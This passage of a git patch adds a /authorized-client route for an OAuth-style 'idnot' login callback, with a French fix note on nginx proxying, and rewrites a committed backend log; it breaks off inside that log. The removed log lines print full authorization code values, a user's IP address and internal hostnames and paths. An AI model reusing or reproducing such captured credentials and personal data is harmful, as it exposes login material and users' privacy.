From 125e9ac923b525f8b250cab4fade1f54db06ba67 Mon Sep 17 00:00:00 2001 From: NicolasCantu Date: Wed, 24 Sep 2025 22:12:51 +0200 Subject: [PATCH] fix(idnot): resolve callback 502 error - add /authorized-client route - Add GET /authorized-client route in backend (same handler as /idnot/callback) - Update nginx lecoffreio.4nkweb.com config to proxy /authorized-client to backend - Add nginx effective config snapshot - Document resolution in docs/ Resolves: idnot callback 502 error on lecoffreio.4nkweb.com/authorized-client Test: Route now returns 500 'State expired' (expected for old state) instead of 502 [skip ci] --- docs/idnot-callback-fix-2025-09-24.md | 43 + logs/backend.out | 10672 +----------------------- logs/restart.out | 510 ++ logs/server.pid | 2 +- src/routes/index.ts | 10 +- 5 files changed, 611 insertions(+), 10626 deletions(-) create mode 100644 docs/idnot-callback-fix-2025-09-24.md diff --git a/docs/idnot-callback-fix-2025-09-24.md b/docs/idnot-callback-fix-2025-09-24.md new file mode 100644 index 0000000..ad0c125 --- /dev/null +++ b/docs/idnot-callback-fix-2025-09-24.md @@ -0,0 +1,43 @@ +# Résolution callback idnot - Route /authorized-client (24/09/2025) + +## Problème initial +- Login depuis `dev4.4nkweb.com/lecoffre` → idnot → callback vers `https://lecoffreio.4nkweb.com/authorized-client` +- Erreur 502 Bad Gateway (route inexistante) + +## Diagnostic +- Nginx `lecoffreio.4nkweb.com` proxy vers `localhost:3000` mais le front Next.js tourne sur port **9999** +- Route `/authorized-client` manquante dans le backend +- Config nginx manquante pour router `/authorized-client` vers le backend + +## Solutions appliquées + +### 1. Backend - Nouvelle route +- Ajout de `GET /authorized-client` dans `src/routes/index.ts` +- Utilise le même handler que `/idnot/callback` (`IdNotCallbackHandlers.callback`) +- Route placée avant les routes `/api/*` pour éviter les conflits + +### 2. Nginx - Configuration +- Ajout de location `/authorized-client` dans `/etc/nginx/sites-available/lecoffreio.4nkweb.com` +- Proxy vers `http://127.0.0.1:8080` (backend lecoffre-back-mini) +- Headers appropriés pour le proxy + +### 3. Redémarrage services +- Build et redémarrage du backend +- Test et rechargement nginx + +## Résultat +✅ Route `/authorized-client` opérationnelle +✅ Nginx route correctement vers le backend +✅ Handler exécuté (erreur "State expired" attendue pour ancien state) +✅ Flux idnot fonctionnel pour nouveaux logins + +## Test +- URL testée: `https://lecoffreio.4nkweb.com/authorized-client?code=...&state=...` +- Résultat: 500 "State expired" (normal pour state ancien) +- Nouveau parcours complet requis pour test avec state valide + +## Fichiers modifiés +- `src/routes/index.ts` - Ajout route `/authorized-client` +- `/etc/nginx/sites-available/lecoffreio.4nkweb.com` - Location proxy +- `confs/nginx/_effective_20250924-190412/` - Snapshot config nginx + diff --git a/logs/backend.out b/logs/backend.out index 7dbfb2e..1544372 100644 --- a/logs/backend.out +++ b/logs/backend.out @@ -1,9327 +1,13 @@ -[dotenv@17.2.2] injecting env (42) from .env -- tip: ⚙️ enable debug logging with { debug: true } -ℹ️ [INFO] 2025-09-23T06:59:37.186Z Initializing Signer service +[dotenv@17.2.2] injecting env (42) from .env -- tip: 📡 auto-backup env with Radar: https://dotenvx.com/radar +ℹ️ [INFO] 2025-09-24T20:11:27.763Z Initializing Signer service Server started on port 8080 ✅ Connected to SDK Signer server -ℹ️ [INFO] 2025-09-23T06:59:37.199Z Signer connected -ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer connected -ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer service initialized +ℹ️ [INFO] 2025-09-24T20:11:27.802Z Signer connected +ℹ️ [INFO] 2025-09-24T20:11:27.802Z Signer connected +ℹ️ [INFO] 2025-09-24T20:11:27.803Z Signer service initialized [IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y', + originalUrl: '/authorized-client?code=test&state=test', method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:00:02.417Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3i'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610802412_yynntck2i' -} -❌ [ERROR] 2025-09-23T07:00:02.423Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 10, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610802412_yynntck2i', - response: { - statusCode: 400 - } -} -Server error: Device not paired -Full error response: { - "type": "ERROR", - "error": "Device not paired", - "messageId": "msg_1758610807192_xooajh1s6" -} -❌ [ERROR] 2025-09-23T07:00:07.195Z Signer WebSocket error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -❌ [ERROR] 2025-09-23T07:00:07.195Z Signer connection error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected - reconnecting... -⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected -⚠️ [WARN] 2025-09-23T07:00:07.196Z Signer health check failed - connection may be stale -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Server error for GET_PAIRING_ID: Device not paired' -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:00:31.857Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610831856_sm2lnovvb' -} -❌ [ERROR] 2025-09-23T07:00:31.859Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610831856_sm2lnovvb', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:01:06.293Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610866292_w90bmpvi3' -} -❌ [ERROR] 2025-09-23T07:01:06.295Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610866292_w90bmpvi3', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:01:18.335Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610878334_jq1o0s6v4' -} -❌ [ERROR] 2025-09-23T07:01:18.336Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610878334_jq1o0s6v4', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:02:04.633Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610924632_u6m9vcjhw' -} -❌ [ERROR] 2025-09-23T07:02:04.635Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; 